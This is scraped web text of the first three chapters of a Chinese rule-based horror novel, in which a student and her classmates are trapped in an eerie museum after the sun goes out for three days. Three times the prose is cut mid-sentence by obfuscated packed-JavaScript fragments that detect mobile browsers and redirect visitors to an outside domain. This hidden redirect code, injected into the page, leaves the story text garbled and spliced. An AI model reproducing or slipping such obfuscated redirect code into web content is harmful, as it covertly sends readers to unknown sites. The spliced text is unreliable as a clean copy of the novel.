《在规则世界吃怪升级》 1. 第 1 章(替换) #地球太空站泄露照片#热 这条热搜在微博上面明晃晃地挂着。 公交车走了又停停了又走,路过一个个焦黑的公交站牌,季南坐在其中,点进了这个标题。 这是我小号,大号已经被封了,官方为什么屡次删除这条微博,是上面做了什么亏心事怕我们知道吗?今天我就跟你耗到底了,群众有资格知道真相! 下面附赠一条动态视频,不是很清晰,一帧一帧的。 背景是宇宙,一个不知名球体占据了其中大部分,具标题所言,这是地球太空站泄露出来的照片,主角也应该是地球才对,为什么要称之为不明球体? 因为这个球体与人类印象中的地球不同——是全黑的,密不透风,看不到下面的景色,黑洞似的反射不出一丝光线。 这层黑色看起来材质很特殊,像是将整个球体淹没的液体,还会随着时间的变化产生波纹。 若不说这是地球还没什么,如果告诉人类这就是地球的话,难免让人觉得荒谬。 另一张图片是人类都知道的——巨大的橙黄色球体,是太阳。它一如往常。 季南将这条视频翻来覆去的看了好几遍,她不是这方面的专业人士,看不出真假。手一动,打开了评论区。 热评一: 这条微博被删了好多遍了,我来补充一下。 视频的源头是太空站,拍摄时间就是‘末日三天’的时候。 我真的不懂,只是一条视频而已,用得着他们如此大动干戈吗? 热评二: 有一说一,就是说,这视频会不会是P的? 信号不太好,页面忽然空白,季南重刷了好几遍才重新进去。 热评三: 如果视频是真的的话,那么太阳就不是熄灭,而是地球被覆盖住了,所以看不到太阳,天上也没有星星。 这也太恐怖了。 热评四: 根据逻辑学中的一条‘诉诸无知’,人们不能因为无法证明一件事是假的,就认为它是真的,坐等后续发展,坐等官方表态。不传谣,不造谣。 …… #本市关闭多年孤儿院爆出惊天内幕#热 官方表态? 她知道官方是给不出答案的,官方被蒙在雾里,全人类都被蒙在雾里。没人能给出答案,谁也不知道明天迎来的将会是什么,谁也不知道明天会不会到来。 “江泽大厦到了,下车的乘客后门请,前方到站,嘉祥大桥。” 季南习惯性地维持着唇角的弧度,收回手机,下车。 坐在她身后的小女孩一直盯着季南,直到她下车,才回过头。 “妈妈,刚才那个姐姐好漂亮啊。” “就是笑得有点奇怪。” 小孩子的直觉总是异常敏锐。 路边的电线杆上又多了两张生面孔,印在惨白的纸张上。 电线杆是寻人启事的常驻地点,自从‘末日三天’后,每个电线杆上都贴满了这种纸张,上面的覆盖下面的,新的覆盖旧的,形成厚厚的一层。 季南收回目光,等她看清迎面走来的几人是谁,向前迈进的脚步不由得向后缩了缩,但已经晚了。 “季南!” 班上的体育委员叫住她。 “毕业聚会,不来赏个光?” 唉,头疼。 走在最前面,打扮艳丽的女孩先一步开口。 “群里不是早就发过通知了,季南没到集合地点,就是不想来,你赶着上去问她做什么。” 理是这么个理,但由她这么一说,谁脸上也挂不住。 季南知道她是故意的,面上微笑依旧,并没有否认她的说辞: “‘末日三天’后,很多事情都要重新安排,再加上最近治安也不太好,没有条件的话,能不乱走动就不乱走动了。” 电影好像快上映了,得尽快脱身。季南想。 听季南变相称赞她的家世,她嘴角不由得上扬几分:“你说的也是,并不是谁都像我,‘末日三天’后还有余力出来逛逛。” 她扭头:“哥哥,你说是不是?” 班长口中的哥哥是班级中的纪律委员。当然,他们不是兄妹关系。 纪委手臂上有不少伤疤,脸上还贴着个创可贴。 他深情款款:“当然,你说什么都对。” 道路边有车辆驶来,破碎的前玻璃窗呼呼漏着风,尖锐的,像是怪物狰狞的牙。 站在最外侧、最没有存在感女孩向里靠了下,踩到班长的脚,她被推了出去,几乎与车辆擦身而过。 被推出去的女孩是班里的小透明,成绩中等,长相中等,常年用厚厚的齐刘海遮住面容,平时不说话,也没朋友。 就是这样一个存在感稀薄的人,几乎全班都知道她的另一重身份——班长家的小保姆。 据说她父母欠了班长家很多钱,把女儿送去班长家做保姆,以此来偿还一部分欠款。 小透明护着手里的包惊呼一声,差点跌坐在地,却也没说什么。 “小心我的包!”推她的女孩皱着眉喊,“你怎么干什么都笨手笨脚。” “诶诶。”体委陪着笑,“不至于吧,她不就踩你一下。身居高位者,要大度。” “轮得着你来教训我?”班长冷哼,“她昨天打扫卫生的时候把我最喜欢的花瓶打碎了,制作者已经去世,那花瓶有市无价。” “我没让她去坐牢,还不算大度吗?” 班长盯着小透明的眼神恶意满满,也不知道究竟是大度,还是要私底下报仇。 “嘿嘿,班长。”体委搓搓手,“既然你这么富有,那这次聚会的钱……” 班长怒气未消,转身瞪了他一眼,嗓音蓦地尖锐起来,“你好意思让我掏钱?” “没有,没有……” 体委陪着笑,暗地里翻了个白眼,暗自蛐蛐: “不是你刚才明里暗里说自己有钱吗?” 班长盯他:“你说什么?” 体委看天:“我啥也没说啊。” “不过,相遇就是缘分,我总该有点礼貌。”班长撩了撩刚烫出来的大波浪,勾了线的眼睛看着季南,“聚会的地方就在不远处,要一起吗?” “当然,如果你实在没有余力,也可以拒绝。” 班长弯着嘴角,眼中却毫无笑意,她看季南的眼神像是在看竞争对手,尽管季南本身没这个意思。 看了看时间,季南敛起笑容: “我不会参加毕业聚会,你不必担心我抢你的风头。” “什么?” 班长有点反应不过来,她没想到季南怎么会如此突然地把话挑明。 “我不会参加毕业聚会。” 季南好脾气地重复一遍,嘴角再次上扬,轻眯双眼,勾勒出一个微笑——连唇角弯起的弧度都同刚才的笑容一模一样。 准确的说,与以往他们每次见到的笑容都一模一样。 “几个高中刚毕业的学生坐在一起攀比,讨好别人或者被讨好,在我眼里和小孩子过家家没区别。我对你怀揣的那点小心思——” “不感兴趣。” 直到季南走出去好远,几人还在原地呆愣地凝视她的背影,也忘记刚才是如何剑拔弩张了。 “季南什么时候变得这么……”体委在脑子里搜刮,终于找到一个合适的形容词。 “犀利。” 班级里的季南并不像他们今天见到的这般锋芒毕露,而是温和,沉静,脸上常挂微笑,像是阳光下白色的百合花。 老师的宠儿,班里的好学生。 这样的人常招艳羡,也不免招来嫉妒。奇怪的是,鲜少有人来找季南的麻烦。 班长显然不在‘鲜少’那部分里,不过在季南面前也只敢耍耍嘴皮子。 “她以为自己是谁?怎么敢这么说我??” 在班长的无能狂怒声中,小透明最后一个移开视线,她微微垂眸,却只看见自己厚重的刘海,在微风下轻轻地晃着。 至于季南如今展示的面貌为何与以往不同,答案很简单—— 毕业了。 季南不装了,她摊牌了。 家里有钱的小太妹能当上班长,辍学当过一年混混的人仰着女友的威武,能当上纪律委员,耀武扬威。 实在离谱。 装的温和一些对谁都有好处,她懒得转学,也不想惹上麻烦事。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14831796|159007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 而‘末日三天’后的如今,再装下去对自己也没什么好处了。 那三天黑暗打破了这个世界的宁静。 —— 太阳。 在人们印象中即便是世界崩塌也会照常升起,完全机械地重复日复一日的工作,作为人类时间概念的启蒙者——它在那天毫无征兆地熄灭。 消失的不仅仅是光和热,还有几乎遍布全球的电磁信号,不过几十秒,人类所有的电子设备都无法使用,供电供水全面停滞。 仅有为数不多的、靠储电设施运转的设备在顽强抵抗,这些光是人类世界中仅存的光明,好比天上黯淡无光的星星。 说到星星,那段时间里,好像没人提到星星。 天上好像没有星星。 不过这件事对于当时的人们来说并不重要。 太阳熄灭后第一天,少了通讯设备,人们的视野迅速缩小,此时人类所得信息的速度与古代没有区别,甚至比那时还要低下。 没有信息可以传到他们手里,没有人知道发生了什么。 但有一直有人在喊:“有人看到XXX去哪了吗?” 失踪人数在不断增多。 太阳熄灭后第二天,世界末日不知在何时已经成了定论,世界各地发生暴乱,人们渴望光明,在目之所及的地方燃起了火。 似乎是人类在创造末日。 失踪的人好像增多了,但这并不是人们关注的要点。 太阳熄灭后的第三天,地球表面的温度迅速下降,人类的敌人不单单再是黑暗,还有寒冷。末日已成定局,人们开始放肆,法律和道德在世界的终焉面前不值一提。 但在同一时刻,太阳重新燃起,就如同熄灭时那般毫无征兆。 遍布黑暗的三天仿佛一场漫长的噩梦。 灾难是无形的手,把常年平静的水被倒进热油锅里,咕噜噜地冒着泡,原本索然无味的舌尖品味出灼人热意,季南也不知道这种发展到底是好是坏。 不,或许当她联想灾难的好处时,便与‘正常’背道而驰了。 —— 不该说的都说了,季南也以为他们以后不会再见面—— 全城唯一一家还在正常营业的电影院中,季南与班长等人面面相觑,一时无言。 沉默中,班长冷哼一声撇过头去,只有体委讪讪抬手:“嗨?” 季南黑沉沉的眸子扫向他,随即笑了,笑容那样好看,但体委不自觉打了个哆嗦,眼睁睁看着季南十分自然地坐到他们身后。 有他们在又怎样,这里可是最佳观赏位置。 虽说全城只有这一家电影院营业,但里面的人寥寥无几,准确地说,只有季南以及班长他们。 一切都有迹可循,‘末日三天’后,幸存的娱乐场所并不多,价格飞涨,一般人没闲心出来看电影,而另一方面—— 班长扔掉手里的票,没好气道:“谁买的票?” “我买的。”体委玩着手机。 “买票之前不仔细看看?不知道这个电影在网上风评很差吗?” “哪里很差了。”体委瞪大了眼睛,“你看这名字,《救火英雄》,多有气概啊。” 班长翻了个白眼:“俗套。” 电影开场了。 讲的就是一群消防员灭火救人的事,毫无创新之处,属于看见前面就知道后面要发生什么,连背景音乐都吵得像锯床脚。 看到结尾,体委实在无法代入其中,低下头玩起了手机。 没过一会,他被突然煽情的背景音吓到,抬头看见荧幕里的主角正要葬身火海,手中托举着位七八岁的小女孩。 小女孩嗷嗷大哭,脸上都是被火熏出来的黑痕。 体委并不觉得感人,反而被吵的头疼。 不知为何,体委想看看季南现在是什么表情。于是他放下手机,装作在全神贯注地看电影,随后在不经意间回头。 有什么东西流下来,在黑暗中闪烁微光。 体委的眼睛缓缓瞪大了。 在小提琴舒缓的弦声中,他看到季南眸子里烈烈燃烧的火,火的后面却是深不见底的黑。眼泪镌刻在那张面无表情的脸上,精致,瑰丽,海妖似的惑人。 2. 第 2 章(替换) 他已经忘了电影是什么时候结束的,等再回过神来,电影末尾白底黑子的提示语分外惹眼。 ‘广大市民注意,请记得“短信”内容的市民到本市政府中心提供线索,一旦确认内容属实,有重金酬谢。’ “短信啊……”体委浑身不自在,掩饰似的伸了个懒腰,“话说你们有看到吗?那条短信。” 末日三天后,恢复电磁信号的同时,一条信息从各个通讯设备中冒出来,如同迅速传播的病毒一般遍布世界。 这信息冗长杂乱,像是规则似的分了三百多条,前言不搭后语,甚至有一部分连前面的序号都是颠倒的。 八个小时后,一场梦的时间,它消失了,一点痕迹都没留,像它最后所说的那样。 ‘本信息将于八个小时后删除,祝您生活愉快。’ “看到个屁。”纪委翻了个白眼,亲了口班长,一副流氓做派。 “那短信也太邪乎了,当天凌晨出现,第二天大早上直接消失,那会儿我家电力系统都没修好,大半夜的我除了睡觉还能干嘛。” 季南看不出是刚刚哭过的样子,眼睛看似盯着屏幕,实则注意力已经转移到体委等人的对话中去了。 她对“短信”中的内容也很有兴趣。 “哼,我看过一点。”班长说,“不让买咖啡,不让去超市,这也不让那也不让,我买了,也去超市了,不也什么事都没有吗。” “准确的说,是不让去门前挂了几个铃铛的超市,不让买红色的咖啡。诶对了,你们知道最后一句是什么吗?” 体委忽然笑得阴森。 “不要被它发现。” “滚吧。”班长不以为然,“你不是看得多吗,滚去政府啊。蠢货。” “凭什么说我是蠢货?” “妖言惑众的话你也信,不是蠢货是什么?” “对对对,政府的人也是蠢货,就你聪明。”体委不怒反笑,表情十分欠揍。“你这样的在小说里就是纯纯炮灰,活不过两章那种。” “我是炮灰你是什么?” 体委一撩额发:“你得知道,经常被炮灰打压的,只有主角。” 眼看着他们偏离话题,他们身后的季南突然出声,加入了讨论。 “关于“短信”,我用笔纸尝试复刻过。” 几人被吓了一跳,他们几乎要忘了季南的存在。 体委最先反应过来:“全部都复刻了?” 季南:“没有,只是记了几行而已,但无论记多少结果都是一样的。” 她记了几行,也只能记几行。 说来也是时运不济,季南醒来时,刚好是短信消失的最后一分钟,季南只来得及匆匆浏览,记住其中的几条。 小透明从包里掏出一张纸,折得整整齐齐。 “我,我也记过,正好带在身上。” 体委:“所以究竟是什么一样的结果啊?” 季南示意小透明把纸片打开,他们看见成团的黑色痕迹蜈蚣般盘旋在纸张中间,丑陋极了。 班长唾沫几乎喷到小透明脸上:“你写了就写了,把划掉的纸给我看有什么用?” 小透明畏畏缩缩:“我没…没有划。” “她确实没有划。” 季南平淡无波的嗓音直接阐述结论: “无论是截图,复制,录音,甚至靠背诵写下来的一部分,都无法重现在这个世界。写在电子设备上会变成乱码,写在纸上会变成黑漆漆的一团。” 季南顿了顿,眼睛扫了他们一圈: “而且……你们真的觉得这是划痕?” 季南几乎慷慨地分享她所知晓的情报,以此来勾起他们的好奇心。 这样话题才能继续下去,才能有机会得到一些……她不知道的东西。 体委对着纸张看了又看:“这确实不像划痕,难不成是颜料吗?” “你看个屁,给班长看,人家是美术生,比你这个土鳖见多识广。”纪委一把抢过纸片,递给班长。 班长则接过纸片一脸娇羞:“既然哥哥都这么说了,那我就勉强帮你们看看吧。” 她把它放在顶灯下仔细查看,脸上的漫不经心逐渐变得凝重。 “这看起来……不像是颜料,甚至不像市面上任何一种涂料。” 远处响起警车的鸣笛声。 体委:“你可仔细看看。” “你以为我是谁,我受的可是精英艺术教育,什么没见过。” 她呛了体委一嘴,又把注意力放到纸片上。 “没错,这个不是市面上能有的。就算是世界上最黑的颜料‘梵塔黑’,也会保留物体原本的轮廓。但是你们看。” 班长把纸张横过来:“虽然很细微,但这张纸本事是有褶皱的,但被黑色覆盖的部分……那里的褶皱消失,平整到难以置信。” “什么啊。”体委眯起眼睛使劲看,“没看出有什么不同啊。” 一个恍神,班长甚至没反应过来,纸片就出现在季南手上了。 季南忽地握拳,将纸片攥成一团,再展开,班长所说的现象便格外明显—— 一团褶皱中,黑色部分平整的诡异。 季南还真没这么试过。 所以说,还是有收获的。 小透明:“比起划痕,它更像,更像……” 季南用平和的嗓音说出了恐怖的话: “一个黑洞。” 谁都不说话了,几秒后,滴滴声忽然炸裂在寂静的空气中,把其余人吓了个半死。 季南耸耸肩。 “抱歉,我的电话。” 语气中却没有半分抱歉的意思。 体委摸了摸咚咚直跳地小心脏:“还真是不习惯啊……” 他下意识瞄了眼季南,不知是恰好还是怎的,正好对上季南的眼神,他心里又是一跳,讪讪移开视线。 季南接通电话:“李姨。” “诶呀,唉……” 那边吵吵嚷嚷的,李姨的声音在喧闹中模糊不清。 “邻居家孩子失踪了,你最近有见过她吗?” “失踪?” “对啊,唉,最近不是一直在闹吗。”李姨唉声叹气,“好像说是在眼皮子底下失踪的,好好的大活人突然就没了,具体不知道怎么回事。” 她话锋一转,不在意道: “不过啊,我看网上那些都是造谣,一个大活人在眼皮子底下失踪,怎么可能。” 李姨小声道:“那孩子要不就是贪玩上跑到什么地方玩去了,要么就被人贩子拐走了,他们也是,整天传播这些玄乎东西,现在都是……科学社会了。” 科学? 科学也解释不了太阳为什么会熄灭三天。 电话那头传来模糊的背景音: “李姨你瞧,超市门口有三个大铃铛诶,像过年时挂的灯笼一样,五颜六色的,真好看。” 听声音像是个小女孩,不过七八岁的样子。 “嗯嗯,彤彤呆在李姨旁边别乱跑昂。” 李姨哄着孩子,直到孩子安静下来,才在电话里絮絮叨叨. “铃铛?五颜六色的铃铛?这么显眼我怎么没看到,哪来的铃铛,这孩子瞎嚷嚷什么呢。” 三个铃铛? 条件反射似的,季南顿时想起短信中不知所云条目中的其中一项: 【超市外面没有铃铛,假如您看到超市外有铃铛,不要进入超市,假如您看见超市外挂有三个铃铛,活下去。】 “彤彤?” 无人回应。 季南在手机中听到呜呜风声,李姨的声音急切了几分: “彤彤?” “彤彤!!” “老王。你看见彤彤没有?她刚才还在这啊!” “我没离开!只是低头讲了句电话而已!” 一阵兵荒马乱后,手机中便只剩滴滴的忙音了。 警车的声音愈发接近,但无人在意,在堪称乱世的如今,警车恨不得出动上百遍。 与此同时,隔壁的某些声音格外清晰。 滴、滴、滴…… 某种熟悉又陌生、规律的机械音,像是经常在电视剧中听到的—— 体委:“炸弹倒计时?” 纪委:“别扯。” 而季南却站起了身子,目光直冲窗外,巧合似的,楼下一声巨响几乎响彻云霄。 众人脸色一变,一齐拥到窗边。 他们看见楼下的警车,副驾驶破碎的车窗,以及车窗后面——已经死去的警察。 玻璃上的裂痕将他的脸割出一道血痕,红混着白色的液体从额头上的洞汩汩流出,落入他瞪大的眼睛里,从眼白到瞳仁再到眼白,最后掺杂着里面的泪水从眼角流下去。 听说死人在失去行动能力后的一段时间里都是有意识的,所以他在哭吗?季南顶着略微惊恐的面孔不切事宜地想。 “真…真的有人死了。”小透明捂住嘴。 “也就是说,炸弹……”体委苦笑道,“不会是真的吧。” 班长被吓得花容失色,拔腿就往包厢门的方向跑,但与此同时,急促的脚步声从包厢外逼近,猛地撞开大门,忽然旋转的门板差点把班长拍成肉饼,砰地一声让所有人回头看去。 闯进来的人是一位武警。 他犀利的眼神在包厢内扫了一圈,随即道:“跟我走!” 还没等季南等人行动,不远处传来爆炸声以及重物落地的巨响,震荡过后,警察手中通讯器里传来的声音焦急:“队长!这层楼被封住了!” “被封住了?什么意思。” “他们,安装炸弹的人并没有逃走,而是到了楼上,等我们进入这层后,楼上的炸弹把地板炸开,门就被上面掉下来的巨物堵住了。” 被称为队长的武警紧皱眉头,问:“驻守在楼层间的警卫呢?” “那边已经……”不知是不是错觉,警员隐约看到脚下的门缝中透着点点红色,额角不自觉冒出冷汗,“已经失联了。” “把墙炸开。” “队长,这面墙是承重墙。” 就是炸不得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14831797|159007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的意思。 这里是四楼。 季南转过头不再看他们,黑色眼瞳平淡无波,倒映着高处到地面的景色,风让季南的长发有些凌乱,于是她把它们别到脑后去。 滴、滴、滴…… “倒计时只剩30秒,根本不够,我们得撤了!” 隔壁的喊声清晰可闻。 体委面色苍白: “30秒?有没有搞错……门都被封上了,三十秒够干什么?从这跳下去吗?” 跳下去? 跳下去吧。 从四楼掉下去的伤害可以预见,但□□的量却是未知的,与之相比,季南更倾向于选择前者。 如果有人能听到季南内心的想法,一定会大骂她是个疯子,对普通人来说,从四楼掉下去的死亡率与面对□□一样,几乎都是百分之百。 但从身体素质来说,季南可不是‘普通人’的等级。 估计会受伤,但受伤的程度可以接受。 就在季南准备行动的那一刻,世界忽然扭曲了。 她眼前闪过密密麻麻的电子雪花,时间太短,比飞虫略过的时间还要短得多,以至于季南下意识以为这是幻觉。 雪花过于刺眼,本能让季南闭上了眼睛。 但很快,季南发现了异常。 安静,太安静了。 房间像是掉入深海中,被厚重的水包裹住,沉溺于暗无天日的寂静,连隔壁时刻作响的倒计时都消失不见。 所有人陷入了诡异的沉默里。 “这是……什么东西?”她听见某人说。 季南睁开双眼,她所在的位置与几秒钟前一样,正对窗户,而窗外,警车和死去的警察都不见了,左边右边的楼层也不见了,上面下面的楼层也不见了,迷迷蒙蒙的黑色覆盖在其中,除了所在的房间外什么都没有。 而眼前,一栋建筑占据了整个视野,通体白色的建筑整个立在虚空中,没有窗口,像个白色的骨灰盒。 而季南的直觉告诉她,如果没处理好,他们可能真的需要几个骨灰盒。 体委怔怔地吐出三个字:“美术馆?” 是的,面前这个不明所以的建筑是一座美术馆。 白墙上没有牌匾,没有标志,没有任何一个汉字表明建筑的身份,但他们就是知道,这是座美术馆。 概念扒开了大脑钻进里面,不断在脑内盘旋,不得不说,这感觉真是恶心透了。 世界发生了震荡。 在众人惊恐的目光中,纯白墙壁上浮现出一个巨大的画框,画框其中是比雪原还要干净的白色。 水墨般的痕迹在白纸上晕染,蛇一般地在其中游动,最终形成一道直线。 随即撕裂开。 在班长的尖叫声中,直线横向寸寸断裂,像是被硬扯开的衬衫,上面的纽扣一个个崩掉了。 它被拉成一个圆环,似是石油的黑色液体随着撕裂的进程迸裂,溅到学委的脸上,在白纸中流下道道漆黑的泪痕。 句号似的巨大圆环中突兀地浮现出一个不起眼的圆形,琉璃般闪烁着五彩光泽。 纪委离窗户最近,惊叫道:“那是一颗眼珠!” 季南离得稍远,但从那东西浮上来时她便知道——那是一颗已经涣散了的瞳仁。 仿佛被打磨过的外表赋予它光泽,内里的腐烂为它镶上五彩颜色,实际不过是停留在第一表层的美好。 美好之下的则是——死亡。 一个两个三个四个,腐烂的死人瞳仁接二连三地冒出来,宛若越搓越多的泡沫,一眨眼遍布整个泥泞可怖的圆圈。 它们残缺的瞳仁齐刷刷盯着房间里的人。 一张来自地狱的画呈现在众人面前。 心跳停了一瞬,她差点忘记呼吸,季南强迫自己冷静下来,因为她知道只有冷静才能保全自己的性命。 她突然想起了那些失踪的人,没人知道他们是怎么失踪的,也没人知道他们遭遇了什么,那她是否正在经历他们经历过的事呢? 无论如何都不能再看了。 季南认定这个想法,想要移开视线。 做不到。 想要迈开腿远离这个地方。 做不到。 不是恐惧造成的失控,而是被别人控制住了,如同陷入泥潭。 此时此刻的季南仿佛成了个被困在躯壳中的孤魂野鬼,任由她在其中如何挣扎也撼动不了躯壳半分。 她只能眼睁睁看着面前的画作扭曲旋转,在想象中化成可怖的怪物,张着血盆大口将自己一口吞噬。 在黑暗完全吞没她的时候,季南想起了信息中的一条守则。 56.当你突然感觉到强烈不安的时候,闭上眼睛,捂住耳朵,无论你在哪里,正在干什么。什么都不要想。 季南的思绪戛然而止。 嗡—— 季南在尖锐的耳鸣中睁开双眼,白到反光的墙壁几乎刺痛她的眼睛。 恍神中,巨大的影子笼罩住她,鲜红色的瞳孔闯进季南的视野,密密麻麻地注视着。 3. 第 3 章(替换) 季南几乎立即后撤,脑中嗡鸣声如雾散去,视野清晰,季南终于看清‘怪物’的真容。 茂密的触手像是蓬勃生长的丛林,扭曲着跃动着,勾勒出瘦长的身形,其中夹杂狼嘴,人脑,熊爪,或者各种季南认不出来,不似此世存在的器官。 ——这是两尊几乎同美术馆一样高的石像。 红宝石比血还红,镶嵌在其中,像是眼睛分散在石像四面,高高在上地睥睨着。 石像栩栩如生,连肌肉的纹理都细腻到极致,仿佛活的一般。 明明是不可名状的怪物,却莫名透着一股子神性。 神? 季南反应过来自己在想什么,愈发觉得石像面目可憎。 虽然她根本不知道石像的‘面目’在哪里。 除了这两尊诡异的石像,天花板是透明的,透过玻璃可以看到悬挂着的巨大摆钟,钟摆随着时间摆动,却没有发出一点声音,整个空间出奇的安静。 其他陈设与普通的美术馆没什么区别,墙上尽是些画作,四个墙角处分别立着个大花瓶,以及……看似是出口的门。 “出口……出口!” 体委看见门像是见了亲妈,连滚带爬地跑进去,又在众目睽睽之下狼狈地从门外跑进来。 与众人对视的瞬间,他们的面色同样惊恐,体委的眼睛几乎要从眼眶里瞪出。 他不信邪似的掉头跑进出口,又跑回原地,在一次次的循环往复中,他终于放弃了,抱头蹲坐在地上。 纪委瘫坐在地上,面色惨白:“……这就是失踪的真相吗?” 班长终于将注意力从石像身上抽离,干呕几声,茫然地扯住纪委的胳膊。 “我们会出去的……对吧哥哥?” 小透明早就忍不住开始哭泣,呜呜的犹如女鬼。班长被哭得烦了,走过去狠狠给了她一巴掌,把小透明打的噤了声。 显然是把小透明当成了出气筒。 小透明捂着脸,刘海缝隙间漏出她愤恨的眼神。 “你还敢瞪我?忘了你做过什么了?” 班长抬手,还想再打,被警察拦住。 “住手,都什么时候了还闹内讧。” 警察强装镇定,尽力安抚他们,实则已经控制不住颤抖的指尖。 而季南花了一分钟平复思绪,选择远离他们制造的绝望氛围,走到墙边,观察那些画。 他们被困在这里已经是既定事实,有时间扯头花或者自怨自艾,不如寻找解决问题的方法。 道理谁都懂,但有几个人能像机器一样,完美地去做当下应该做的事。 但很不巧,自那以来,季南就是这样生活的。 自那以来。 季南扫了一圈墙壁上的画,还真让她发现了不对劲的地方。 美术馆大厅呈正方形,除了有石像,以及出口的那两面墙,剩下两侧的墙一边挂了十二幅画,共二十四幅。 季南站在一侧。 前六幅上画的东西很熟悉,第一幅是猿猴,第二幅猿猴渐渐站立,由此类推,到了第六幅画,成了完全的人类。 画面精致到离奇,仿佛透过玻璃看到里面活着的生物,逛动物园似的。 后六福画有些陌生,除了最后一幅画明显是条蓝鲸外,其余的季南都认不太出。 好在底下有文字注解。 所谓‘文字’其实就是些像蚯蚓一样的划痕,季南看不懂,但看到这些划痕的瞬间,季南又不得不懂了其中的意思。 就像刚刚一样,知识强行掰开她的脑袋钻进去,令人作呕。 季南皱着眉头看下去。 第一幅,画面的背景还在陆地上,中间出现一个又像狗又像老鼠的生物,名为——巴基鲸。 第二幅背景到了水里,那动物出现了些许变化,可以在水中游动,名为雷明顿鲸。 第三幅慈母鲸,第四幅龙王鲸,第五幅始弓鲸。 第六幅,蓝鲸。 到这季南还有什么不明白的,这是在讲蓝鲸的进化路线,与前六幅讲人类的进化路线大差不差。 季南走向对面,去看剩下的十二幅,越是往下看,眉头皱的越紧,到最后甚至有些心惊肉跳。 这十二幅画与刚才的十二幅简直天差地别。 第一幅画是——肉块。 仅仅是肉块,注解上就写了这么两个字。 画面中,一个小小的肉块蜷缩着,看起来像菜市场上不怎么新鲜的猪肉,红中透着紫。 第二幅画上,肉块长了张嘴,里面是密密麻麻的细牙。 到这里,注解完全看不懂了。 季南很快想通:这根本不是地球上的生物,划痕所传达的意思自然也不能被这里的人理解。她看不懂,理所当然。 第三幅,肉块长出了触须利爪,身后是不知什么生物的骸骨,上面还挂着齿痕和碎肉。 第五,第六,第七…… 它长的愈发巨大,恐怖,离奇,不可名状。身后的骸骨也愈发的多,几乎成了尸山血海。 越往后看,季南越能感受到自己加速的心跳声。 在最极致的恐怖后,第十二幅,则是完全的黑色,如若深渊。 这十二幅画究竟要表达什么? 难不成也是……进化? 想不通,季南深吸一口气,撇开目光,不再纠结。她又踱步到石像那,确认它们真的是石像后,仿佛被莫名的力量吸引,季南伸手,想去触碰上面血似的红宝石。 “别动!” 季南顿住,抬眼去看出声阻止的体委。 “上天让我来到这一定有他的道理……说不定我真的是主角!!” 他在说些什么。 体委看起来已经好多了,脸色不再苍白,反而陷入莫名的亢奋中。 “像这么诡异的东西绝对不能动,会触发机关,到时候我们都得死在这!” 季南颇为无语,她真的不知道体委为什么这么笃定,所幸不理会。 “死?什么死?” 班长早就慌了神,一体听到不好的字眼就如同惊弓之鸟。 “什么事都没有,别害怕。” 安慰她的不是纪委,而是警察。 在场除警察之外都是还没上大学的学生,人生才刚刚开始。 他黑亮的眼睛扫过所有人,眼神渐渐坚定。 “我会把你们带出去。” 与此同时,季南被石像身后墙壁上的一张纸吸引了注意。 与白到晃眼的墙壁相比,这张泛黄的纸陈旧非常,上面满满的都是字。 —— 美术馆行为守则 欢迎来到本市最大的无人美术馆,本美术馆收录种类颇多,包括但不限于画像、手工制品、摄影作品、装置艺术等,并为止提供最适宜的物理环境,按时维护,希望您和您的家人朋友游玩愉快!在游览时,请务必遵守以下规则,否则后果自负。 【只要遵守规则,就能安全离开】 1.请尽快在大厅选择属于您的画框,一定要尽快。 2.本馆大门24小时打开,美术馆开放时间为8:00——13:00以及16:00——20:00,若您在开馆时间外到达,请在门外等候,不要在非营业时间段停留在美术馆。 3.只有钟表的时间是正确的,请不要相信其他显示时间的设备,包括您随身携带的电子设备。 4.本馆是无人美术馆,没有工作人员。 5.不要把美术馆内的任何东西放进嘴里,不要吃下美术馆内的任何东西。 即使它会吃你。 6.展览区只有五个房间,不存在第六个房间。 7.假如您违背守则5,则守则6失效。但请记住,通过第六个房间时,千万不要■■■(这段字被黑色的油渍一类的东西覆盖住) 8.假如您违背守则5,请尽可能地让所有人强大起来 它已经能闻到你们的气味了。 必须在它■■■之前。 9.切记,您所得到的一切无法带离美术馆。 10.■■■■■■■■(整句话都被厚厚的黑色油渍涂黑,并在纸上留下的两道泪痕似的印记) 本馆没有出口。(手写,很工整) 11.一切都是为了进化。(手写,很工整) 遵守以上守则,就能拥有一段美好的游览体验,祝您生活愉快! 温馨小贴纸:■■是■类进步的阶梯。 进步。 进步。 进步进步进步进步进步进步进步进步 进化。(异常工整) 快跑快跑快跑快跑快跑快跑快跑快跑快跑快跑快跑快跑快跑快跑快跑快跑快跑快跑快跑快跑快跑快跑快跑快跑 红笔写扭曲的手写体,潦草,占据了剩下所有的空间。 —— 红色字体的冲击力显而易见,班长直接被吓哭了,哭道: “跑,往哪跑啊。” “想开点,我们能看到这些所谓的行动守则,至少证明有人来过这里。” 季南没有被可怖的文字迷惑,而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 